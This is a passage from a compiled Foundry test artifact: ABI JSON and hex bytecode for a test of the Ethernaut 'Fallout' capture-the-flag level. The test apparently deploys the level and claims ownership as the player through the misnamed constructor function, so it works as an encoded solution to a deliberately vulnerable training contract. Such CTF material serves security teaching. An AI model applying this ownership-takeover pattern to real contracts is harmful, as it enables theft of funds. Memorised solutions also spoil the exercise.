56[]","indexed":false,"internalType":"int256[]"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"address[]","indexed":false,"internalType":"address[]"}],"anonymous":false},{"type":"event","name":"log_bytes","inputs":[{"name":"","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false},{"type":"event","name":"log_bytes32","inputs":[{"name":"","type":"bytes32","indexed":false,"internalType":"bytes32"}],"anonymous":false},{"type":"event","name":"log_int","inputs":[{"name":"","type":"int256","indexed":false,"internalType":"int256"}],"anonymous":false},{"type":"event","name":"log_named_address","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"address","indexed":false,"internalType":"address"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256[]","indexed":false,"internalType":"uint256[]"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256[]","indexed":false,"internalType":"int256[]"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"address[]","indexed":false,"internalType":"address[]"}],"anonymous":false},{"type":"event","name":"log_named_bytes","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false},{"type":"event","name":"log_named_bytes32","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"bytes32","indexed":false,"internalType":"bytes32"}],"anonymous":false},{"type":"event","name":"log_named_decimal_int","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256","indexed":false,"internalType":"int256"},{"name":"decimals","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_named_decimal_uint","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256","indexed":false,"internalType":"uint256"},{"name":"decimals","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_named_int","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256","indexed":false,"internalType":"int256"}],"anonymous":false},{"type":"event","name":"log_named_string","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_named_uint","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_string","inputs":[{"name":"","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_uint","inputs":[{"name":"","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"logs","inputs":[{"name":"","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false}],"bytecode":{"object":"0x600c8054600160ff1991821681178355601e80549092161790556b75736572206164647265737360a01b60a05260805260ac6040527ffadd6953a0436e85528ded789af2e2b7e57c1cd7c68c5c3796d8ea67e0018db7601f55348015610063575f80fd5b50615afe806100715f395ff3fe608060405234801562000010575f80fd5b50600436106200018c575f3560e01c806385226c8111620000e3578063b5d11e991162000093578063e20c9f71116200006b578063e20c9f711462000314578063f82de7b0146200031e578063fa7626d41462000335575f80fd5b8063b5d11e9914620002d3578063b90a68fa14620002dd578063ba414fa6146200030a575f80fd5b8063916a17c611620000c7578063916a17c614620002975780639b59adbc14620002a1578063b5508aa914620002c9575f80fd5b806385226c81146200026757806385db81cc1462000280575f80fd5b80633e5e3c23116200013f57806366d9a9a0116200012357806366d9a9a0146200022d578063792e11f51462000246578063832e5fc2146200025d575f80fd5b80633e5e3c2314620002195780633f7286f41462000223575f80fd5b80631ed7831c11620001735780631ed7831c14620001d05780632356661a14620001e95780632ade38801462000200575f80fd5b80630a9254e414620001905780631c7db669146200019c575b5f80fd5b6200019a62000343565b005b620001b3620001ad36600462001adb565b6200080d565b6040516001600160a01b0390911681526020015b60405180910390f35b620001da620009d7565b604051620001c7919062001b1e565b620001b3620001fa36600462001c0a565b62000a39565b6200020a62000c04565b604051620001c7919062001cdd565b620001da62000d4c565b620001da62000dac565b6200023762000e0c565b604051620001c7919062001da0565b620001da6200025736600462001e6d565b62000f06565b6200019a62001096565b6200027162001193565b604051620001c7919062001e85565b620001b36200029136600462001eeb565b62001268565b6200023762001387565b620002b8620002b236600462001f09565b62001481565b6040519015158152602001620001c7565b6200027162001611565b6200019a620016e6565b601f80546040805160208082018490528251808303820181529183019092528051910120909155620001b3565b620002b86200177d565b620001da62001851565b6200019a6200032f36600462001e6d565b620018b1565b601e54620002b89060ff1681565b5f62000350600262000f06565b9050805f8151811062000367576200036762001f45565b60209081029190910101516022805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600560448201527f4f776e65720000000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b1580156200041c575f80fd5b505af11580156200042f573d5f803e3d5ffd5b505050508060018151811062000449576200044962001f45565b60209081029190910101516023805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600660448201527f506c6179657200000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b158015620004fe575f80fd5b505af115801562000511573d5f803e3d5ffd5b50506022546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b1580156200056c575f80fd5b505af11580156200057f573d5f803e3d5ffd5b50506022546200059b92506001600160a01b0316905062001268565b60205f6101000a8154816001600160a01b0302191690836001600160a01b031602179055505f620006016040518060400160405280600e81526020017f46616c6c6f7574466163746f727900000000000000000000000000000000000081525062000a39565b6020546040517f202023d40000000000000000000000000000000000000000000000000000000081526001600160a01b03808416600483015292935091169063202023d4906024015f604051808303815f87803b15801562000661575f80fd5b505af115801562000674573d5f803e3d5ffd5b505050507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620006d3575f80fd5b505af1158015620006e6573d5f803e3d5ffd5b50506023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b15801562000741575f80fd5b505af115801562000754573d5f803e3d5ffd5b50506020546200077292506001600160a01b03169050825f6200080d565b60215f6101000a8154816001600160a01b0302191690836001600160a01b031602179055507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620007f2575f80fd5b505af115801562000805573d5f803e3d5ffd5b505050505050565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b15801562000869575f80fd5b505af11580156200087c573d5f803e3d5ffd5b50506040517fdfc86b170000000000000000000000000000000000000000000000000000000081526001600160a01b0386811660048301528716925063dfc86b17915084906024015f604051808303818588803b158015620008dc575f80fd5b505af1158015620008ef573d5f803e3d5ffd5b50505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af115801562000954573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f191682016040526200097d919081019062001fe6565b9050806001825162000990919062002176565b81518110620009a357620009a362001f45565b60200260200101515f0151600281518110620009c357620009c362001f45565b60200260200101515f1c9150509392505050565b6060601680548060200260200160405190810160405280929190818152602001828054801562000a2f57602002820191905f5260205f20905b81546001600160a01b0316815260019091019060200180831162000a10575b5050505050905090565b5f807f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663d930a0e66040518163ffffffff1660e01b81526004015f60405180830381865afa15801562000a99573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000ac291908101906200218c565b90505f81848560405160200162000adb929190620021de565b60408051601f198184030181529082905262000afb92916020016200228c565b60408051601f19818403018152908290527f60f9bb1100000000000000000000000000000000000000000000000000000000825291505f90737109709ecfa91a80626ff3989d68f67f5b1dd12d906360f9bb119062000b5f908590600401620022be565b5f60405180830381865afa15801562000b7a573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000ba391908101906200218c565b90505f62000bf06040518060400160405280601081526020017f2e62797465636f64652e6f626a65637400000000000000000000000000000000815250836200192590919063ffffffff16565b90508051602082015ff09695505050505050565b6060601d805480602002602001604051908101604052809291908181526020015f905b8282101562000d43575f84815260208082206040805180820182526002870290920180546001600160a01b03168352600181018054835181870281018701909452808452939591948681019491929084015b8282101562000d2b578382905f5260205f2001805462000c9990620022d2565b80601f016020809104026020016040519081016040528092919081815260200182805462000cc790620022d2565b801562000d165780601f1062000cec5761010080835404028352916020019162000d16565b820191905f5260205f20905b81548152906001019060200180831162000cf857829003601f168201915b50505050508152602001906001019062000c79565b50505050815250508152602001906001019062000c27565b50505050905090565b6060601880548060200260200160405190810160405280929190818152602001828054801562000a2f57602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a10575050505050905090565b6060601780548060200260200160405190810160405280929190818152602001828054801562000a2f57602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a10575050505050905090565b6060601b805480602002602001604051908101604052809291908181526020015f905b8282101562000d43575f8481526020908190206040805180820182526002860290920180546001600160a01b0316835260018101805483518187028101870190945280845293949193858301939283018282801562000eed57602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19168152602001906004019060208260030104928301926001038202915080841162000e995790505b5050505050815250508152602001906001019062000e2f565b60605f8267ffffffffffffffff81111562000f255762000f2562001b6c565b60405190808252806020026020018201604052801562000f4f578160200160208202803683370190505b5090505f5b838110156200108f575f306001600160a01b031663b90a68fa6040518163ffffffff1660e01b81526004016020604051808303815f875af115801562000f9c573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000fc291906200230c565b6040517fc88a5e6d0000000000000000000000000000000000000000000000000000000081526001600160a01b038216600482015268056bc75e2d631000006024820152909150737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c88a5e6d906044015f604051808303815f87803b15801562001040575f80fd5b505af115801562001053573d5f803e3d5ffd5b50505050808383815181106200106d576200106d62001f45565b6001600160a01b03909216602092830291909101909101525060010162000f54565b5092915050565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b158015620010ed575f80fd5b505af115801562001100573d5f803e3d5ffd5b5050505060215f9054906101000a90046001600160a01b03166001600160a01b0316636fab5ddf6040518163ffffffff1660e01b81526004015f604051808303815f87803b15801562001151575f80fd5b505af115801562001164573d5f803e3d5ffd5b50506020546021546200119193506200118b92506001600160a01b03918216911662001481565b620019c7565b565b6060601a805480602002602001604051908101604052809291908181526020015f905b8282101562000d43578382905f5260205f20018054620011d690620022d2565b80601f01602080910402602001604051908101604052809291908181526020018280546200120490620022d2565b8015620012535780601f10620012295761010080835404028352916020019162001253565b820191905f5260205f20905b8154815290600101906020018083116200123557829003601f168201915b505050505081526020019060010190620011b6565b5f80604051620012789062001a99565b604051809103905ff08015801562001292573d5f803e3d5ffd5b5090505f604051620012a49062001aa7565b604051809103905ff080158015620012be573d5f803e3d5ffd5b508483604051620012cf9062001ab5565b6001600160a01b03938416815291831660208301529091166040820152606001604051809103905ff08015801562001309573d5f803e3d5ffd5b506040517fbe117dfd0000000000000000000000000000000000000000000000000000000081526001600160a01b0380831660048301529192509083169063be117dfd906024015f604051808303815f87803b15801562001368575f80fd5b505af11580156200137b573d5f803e3d5ffd5b50939695505050505050565b6060601c805480602002602001604051908101604052809291908181526020015f905b8282101562000d43575f8481526020908190206040805180820182526002860290920180546001600160a01b031683526001810180548351818702810187019094528084529394919385830193928301828280156200146857602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191681526020019060040190602082600301049283019260010382029150808411620014145790505b50505050508152505081526020019060010190620013aa565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620014dd575f80fd5b505af1158015620014f0573d5f803e3d5ffd5b50506040517fc882d7c20000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301528616925063c882d7c291506024015f604051808303815f87803b1580156200154e575f80fd5b505af115801562001561573d5f803e3d5ffd5b505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af1158015620015c5573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f19168201604052620015ee919081019062001fe6565b9050600181511115620016065760019150506200160b565b5f9150505b92915050565b60606019805480602002602001604051908101604052809291908181526020015f905b8282101562000d43578382905f5260205f200180546200165490620022d2565b80601f01602080910402602001604051908101604052809291908181526020018280546200168290620022d2565b8015620016d15780601f10620016a757610100808354040283529160200191620016d1565b820191905f5260205f20905b815481529060010190602001808311620016b357829003601f168201915b50505050508152602001906001019062001634565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b1580156200173d575f80fd5b505af115801562001750573d5f803e3d5ffd5b50506020546021546200119193506200177792506001600160a01b03918216911662001481565b62001a46565b6008545f9060ff161562001795575060085460ff1690565b6040517f667f9d70000000000000000000000000000000000000000000000000000000008152737109709ecfa91a80626ff3989d68f67f5b1dd12d600482018190527f6661696c6564000000000000000000000000000000000000000000000000000060248301525f9163667f9d7090604401602060405180830381865afa15801562001824573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200184a91906200232a565b1415905090565b6060601580548060200260200160405190810160405280929190818152602001828054801562000a2f57602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a10575050505050905090565b5f620018be824362002342565b6040517f1f7b4f3000000000000000000000000000000000000000000000000000000000815260048101829052909150737109709ecfa91a80626ff3989d68f67f5b1dd12d90631f7b4f30906024015f604051808303815f87803b158015620007f2575f80fd5b6040517ffd921be8000000000000000000000000000000000000000000000000000000008152606090737109709ecfa91a80626ff3989d68f67f5b1dd12d9063fd921be8906200197c908690869060040162002358565b5f60405180830381865afa15801562001997573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f19168201604052620019c0919081019062002389565b9392505050565b6040517f0c9fd5810000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d90630c9fd581906024015b5f6040518083038186803b15801562001a2c575f80fd5b505afa15801562001a3f573d5f803e3d5ffd5b5050505050565b6040517fa59828850000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063a59828859060240162001a15565b610ae580620023c083390190565b611e7a8062002ea583390190565b610daa8062004d1f83390190565b6001600160a01b038116811462001ad8575f80fd5b50565b5f805f6060848603121562001aee575f80fd5b833562001afb8162001ac3565b9250602084013562001b0d8162001ac3565b929592945050506040919091013590565b602080825282518282018190525f9190848201906040850190845b8181101562001b605783516001600160a01b03168352928401929184019160010162001b39565b50909695505050505050565b634e487b7160e01b5f52604160045260245ffd5b6040516060810167ffffffffffffffff8111828210171562001ba65762001ba662001b6c565b60405290565b604051601f8201601f1916810167ffffffffffffffff8111828210171562001bd85762001bd862001b6c565b604052919050565b5f67ffffffffffffffff82111562001bfc5762001bfc62001b6c565b50601f01601f191660200190565b5f6020828403121562001c1b575f80fd5b813567ffffffffffffffff81111562001c32575f80fd5b8201601f8101841362001c43575f80fd5b803562001c5a62001c548262001be0565b62001bac565b81815285602083850101111562001c6f575f80fd5b816020840160208301375f91810160200191909152949350505050565b5f5b8381101562001ca857818101518382015260200162001c8e565b50505f910152565b5f815180845262001cc981602086016020860162001c8c565b601f01601f19169290920160200192915050565b602080825282518282018190525f919060409081850190600581811b87018401888601875b8481101562001d9157603f198a8403018652815180516001600160a01b03168452880151888401889052805188850181905290890190606081871b8601810191908601905f5b8181101562001d7a57605f1988850301835262001d6784865162001cb0565b948d01949350918c019160010162001d48565b505050968901969350509087019060010162001d02565b50909998505050505050505050565b5f60208083018184528085518083526040925060408601915060408160051b8701018488015f5b8381101562001e5f57888303603f19018552815180516001600160a01b031684528701518784018790528051878501819052908801905f9060608601905b8083101562001e495783517fffffffff00000000000000000000000000000000000000000000000000000000168252928a019260019290920191908a019062001e05565b5096890196945050509086019060010162001dc7565b509098975050505050505050565b5f6020828403121562001e7e575f80fd5b5035919050565b5f60208083016020845280855180835260408601915060408160051b8701019250602087015f5b8281101562001ede57603f1988860301845262001ecb85835162001cb0565b9450928501929085019060010162001eac565b5092979650505050505050565b5f6020828403121562001efc575f80fd5b8135620019c08162001ac3565b5f806040838503121562001f1b575f80fd5b823562001f288162001ac3565b9150602083013562001f3a8162001ac3565b809150509250929050565b634e487b7160e01b5f52603260045260245ffd5b5f67ffffffffffffffff82111562001f755762001f7562001b6c565b5060051b60200190565b5f62001f8f62001c548462001be0565b905082815283838301111562001fa3575f80fd5b620019c083602083018462001c8c565b5f82601f83011262001fc3575f80fd5b620019c08383516020850162001f7f565b805162001fe18162001ac3565b919050565b5f602080838503121562001ff8575f80fd5b825167ffffffffffffffff8082111562002010575f80fd5b818501915085601f83011262002024575f80fd5b81516200203562001c548262001f59565b81815260059190911b8301840190848101908883111562002054575f80fd5b8585015b83811015620021555780518581111562002070575f80fd5b86016060818c03601f1901121562002086575f80fd5b6200209062001b80565b8882015187811115620020a1575f80fd5b8201603f81018d13620020b2575f80fd5b89810151620020c562001c548262001f59565b81815260059190911b8201604001908b8101908f831115620020e5575f80fd5b6040840193505b82841015620021075783518252928c0192908c0190620020ec565b84525050506040820151878111156200211e575f80fd5b6200212e8d8b8386010162001fb3565b8a83015250620021416060830162001fd4565b604082015284525091860191860162002058565b5098975050505050505050565b634e487b7160e01b5f52601160045260245ffd5b818103818111156200160b576200160b62002162565b5f602082840312156200219d575f80fd5b815167ffffffffffffffff811115620021b4575f80fd5b8201601f81018413620021c5575f80fd5b620021d68482516020840162001f7f565b949350505050565b7f2f6f75742f00000000000000000000000000000000000000000000000000000081525f83516200221781600585016020880162001c8c565b7f2e736f6c2f00000000000000000000000000000000000000000000000000000060059184019182015283516200225681600a84016020880162001c8c565b7f2e6a736f6e000000000000000000000000000000000000000000000000000000600a9290910191820152600f01949350505050565b5f83516200229f81846020880162001c8c565b835190830190620022b581836020880162001c8c565b01949350505050565b602081525f620019c0602083018462001cb0565b600181811c90821680620022e757607f821691505b6020821081036200230657634e487b7160e01b5f52602260045260245ffd5b50919050565b5f602082840312156200231d575f80fd5b8151620019c08162001ac3565b5f602082840312156200233b575f80fd5b5051919050565b808201808211156200160b576200160b62002162565b604081525f6200236c604083018562001cb0565b828103602084015262002380818562001cb0565b95945050505050565b5f602082840312156200239a575f80fd5b815167ffffffffffffffff811115620023b1575f80fd5b620021d68482850162001fb356fe608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610a6b8061007a5f395ff3fe6080604052600436106100ad575f3560e01c8063be117dfd11610066578063cf0046951161004c578063cf004695146101eb578063dfc86b1714610229578063f2fde38b1461023c575f80fd5b8063be117dfd146101ad578063c882d7c2146101cc575f80fd5b8063715018a611610096578063715018a61461014a5780638da5cb5b1461015e57806395e272bd1461018e575f80fd5b8063202023d4146100b15780634f17afd8146100d2575b5f80fd5b3480156100bc575f80fd5b506100d06100cb3660046109d9565b61025b565b005b3480156100dd575f80fd5b5061011d6100ec3660046109d9565b60036020525f9081526040902080546001909101546001600160a01b0391821691811690600160a01b900460ff1683565b604080516001600160a01b0394851681529390921660208401521515908201526060015b60405180910390f35b348015610155575f80fd5b506100d06102f6565b348015610169575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610141565b348015610199575f80fd5b50600154610176906001600160a01b031681565b3480156101b8575f80fd5b506100d06101c73660046109d9565b610309565b3480156101d7575f80fd5b506100d06101e63660046109d9565b610340565b3480156101f6575f80fd5b506102196102053660046109d9565b60026020525f908152604090205460ff1681565b6040519015158152602001610141565b6100d06102373660046109d9565b610642565b348015610247575f80fd5b506100d06102563660046109d9565b610880565b610263610910565b6001600160a01b038181165f8181526002602052604090819020805460ff191660019081179091555490517fcd819a6f00000000000000000000000000000000000000000000000000000000815260048101929092529091169063cd819a6f906024015f604051808303815f87803b1580156102dd575f80fd5b505af11580156102ef573d5f803e3d5ffd5b5050505050565b6102fe610910565b6103075f610969565b565b610311610910565b6001805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6001600160a01b038082165f908152600360205260409020805490911633146103d65760405162461bcd60e51b815260206004820152603060248201527f5468697320696e7374616e636520646f65736e27742062656c6f6e6720746f2060448201527f7468652063757272656e7420757365720000000000000000000000000000000060648201526084015b60405180910390fd5b6001810154600160a01b900460ff16156104325760405162461bcd60e51b815260206004820181905260248201527f4c6576656c20686173206265656e20636f6d706c6574656420616c726561647960448201526064016103cd565b60018101546040517fd38def5b0000000000000000000000000000000000000000000000000000000081526001600160a01b0384811660048301523360248301529091169063d38def5b906044016020604051808303815f875af115801561049c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104c091906109fb565b156105b95760018181018054600160a01b7fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff82161790915590546040517f2c038c320000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301529283166024820152336044820152911690632c038c32906064015f604051808303815f87803b158015610561575f80fd5b505af1158015610573573d5f803e3d5ffd5b5050505060018101546040516001600160a01b039182169184169033907f5038a30b900118d4e513ba62ebd647a96726a6f81b8fda73c21e9da45df5423d905f90a45050565b60018054908201546040517fd0f191e00000000000000000000000000000000000000000000000000000000081526001600160a01b038581166004830152918216602482015233604482015291169063d0f191e0906064015f604051808303815f87803b158015610628575f80fd5b505af115801561063a573d5f803e3d5ffd5b505050505050565b6001600160a01b0381165f9081526002602052604090205460ff166106a95760405162461bcd60e51b815260206004820152601960248201527f54686973206c6576656c20646f65736e2774206578697374730000000000000060448201526064016103cd565b6040517f7726f7760000000000000000000000000000000000000000000000000000000081523360048201525f906001600160a01b03831690637726f77690349060240160206040518083038185885af1158015610709573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061072e9190610a1a565b60408051606081018252338082526001600160a01b0386811660208085018281525f8688018181528986168083526003909452908890209651875473ffffffffffffffffffffffffffffffffffffffff191690861617875590516001968701805492519186167fffffffffffffffffffffff00000000000000000000000000000000000000000090931692909217600160a01b91151591909102179055935494517f7e4326d3000000000000000000000000000000000000000000000000000000008152600481019490945260248401526044830191909152929350911690637e4326d3906064015f604051808303815f87803b15801561082d575f80fd5b505af115801561083f573d5f803e3d5ffd5b50506040516001600160a01b0380861693508416915033907f8be8bd7b4324b3d47aca5c3f64cb70e8f645e6fe94da668699951658f6384179905f90a45050565b610888610910565b6001600160a01b0381166109045760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016103cd565b61090d81610969565b50565b5f546001600160a01b031633146103075760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103cd565b5f80546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038116811461090d575f80fd5b5f602082840312156109e9575f80fd5b81356109f4816109c5565b9392505050565b5f60208284031215610a0b575f80fd5b815180151581146109f4575f80fd5b5f60208284031215610a2a575f80fd5b81516109f4816109c556fea2646970667358221220f875e80df3dbb1bbf8a1ba93e5adadf18e3885d13abc24020d489fb4c369f37264736f6c63430008180033608060405234801561000f575f80fd5b50611e5d8061001d5f395ff3fe608060405234801561000f575f80fd5b50600436106101bb575f3560e01c80639cbf280d116100f3578063d0f191e011610093578063e2d8716f1161006e578063e2d8716f146103ca578063f3a39909146103dd578063f71d96cb14610408578063fb66d7ab1461041b575f80fd5b8063d0f191e014610391578063d844f6a4146103a4578063e041ae9b146103b7575f80fd5b8063ba5d8082116100ce578063ba5d80821461031d578063bc3086a214610358578063c4d66de81461036b578063cd819a6f1461037e575f80fd5b80639cbf280d146102c7578063a7e1acdf146102da578063b2596a671461030a575f80fd5b80637cbe8d041161015e5780637e4326d3116101395780637e4326d3146102865780638b146ad6146102995780638dc03535146102ac578063900f09ac146102bf575f80fd5b80637cbe8d041461026e5780637ceb9533146102765780637e0ca04f1461027e575f80fd5b80633aa46685116101995780633aa466851461020d5780633d9aeaef14610235578063763fdb45146102485780637a9b6dda1461025b575f80fd5b806322ae77ec146101bf5780632c038c32146101e557806336204198146101fa575b5f80fd5b6101d26101cd366004611cab565b610423565b6040519081526020015b60405180910390f35b6101f86101f3366004611cdc565b61054f565b005b6101d2610208366004611d1c565b6109b1565b6101d261021b366004611d1c565b6001600160a01b03165f9081526010602052604090205490565b6101d2610243366004611d1c565b610a2d565b6101d2610256366004611d1c565b610aab565b6101d2610269366004611d1c565b610b27565b6003546101d2565b6005546101d2565b6002546101d2565b6101f8610294366004611cdc565b610ba3565b6101d26102a7366004611d1c565b610f29565b6101d26102ba366004611cab565b610fa5565b6004546101d2565b6101d26102d5366004611d1c565b611125565b5f546102f2906201000090046001600160a01b031681565b6040516001600160a01b0390911681526020016101dc565b6102f2610318366004611d35565b6111a0565b61034861032b366004611d1c565b6001600160a01b03165f908152600e602052604090205460ff1690565b60405190151581526020016101dc565b6101d2610366366004611d1c565b6111c8565b6101f8610379366004611d1c565b611257565b6101f861038c366004611d1c565b6113a1565b6101f861039f366004611cdc565b6114f0565b6101d26103b2366004611d4c565b61183e565b6101d26103c5366004611d1c565b6119c6565b6103486103d8366004611cab565b611a44565b6103486103eb366004611d1c565b6001600160a01b03165f908152600f602052604090205460ff1690565b6102f2610416366004611d35565b611b3f565b6001546101d2565b6001600160a01b0381165f908152600e6020526040812054829060ff166104885760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b60448201526064015b60405180910390fd5b836104aa816001600160a01b03165f908152600f602052604090205460ff1690565b6104ec5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038481165f908152600d6020908152604080832089851684529091529020541661051d575f610546565b6001600160a01b038085165f908152600d60209081526040808320938916835292905220600301545b95945050505050565b5f546201000090046001600160a01b031633146105bc5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b816105de816001600160a01b03165f908152600f602052604090205460ff1690565b6106205760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b81610642816001600160a01b03165f908152600e602052604090205460ff1690565b6106855760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166107065760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146107905760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff161561080c5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600c6020908152604080832093881683529290529081205490036108df576001600160a01b0383165f90815260066020526040812080549161085c83611d99565b90915550506001600160a01b038084165f818152600c602090815260408083209489168352938152838220429055918152600690915290812054906108a2858784611b4e565b90508181866001600160a01b03167f18f89fb58208351d054bc0794e723a333ae0a74acd73825a9f31d89af0c6755160405160405180910390a450505b6001600160a01b038084165f908152600d6020908152604080832093881680845293825280832060038101805460018181018355918652848620429101819055600283015594845280547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff16600160a01b179055600a909152812090910180549161096983611d99565b909155505060048054905f61097d83611d99565b90915550506001600160a01b0383165f9081526008602052604081208054916109a583611d99565b91905055505050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610a115760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526006602052604090205490565b6001600160a01b0381165f908152600f6020526040812054829060ff16610a8c5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090206001015490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b0b5760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb8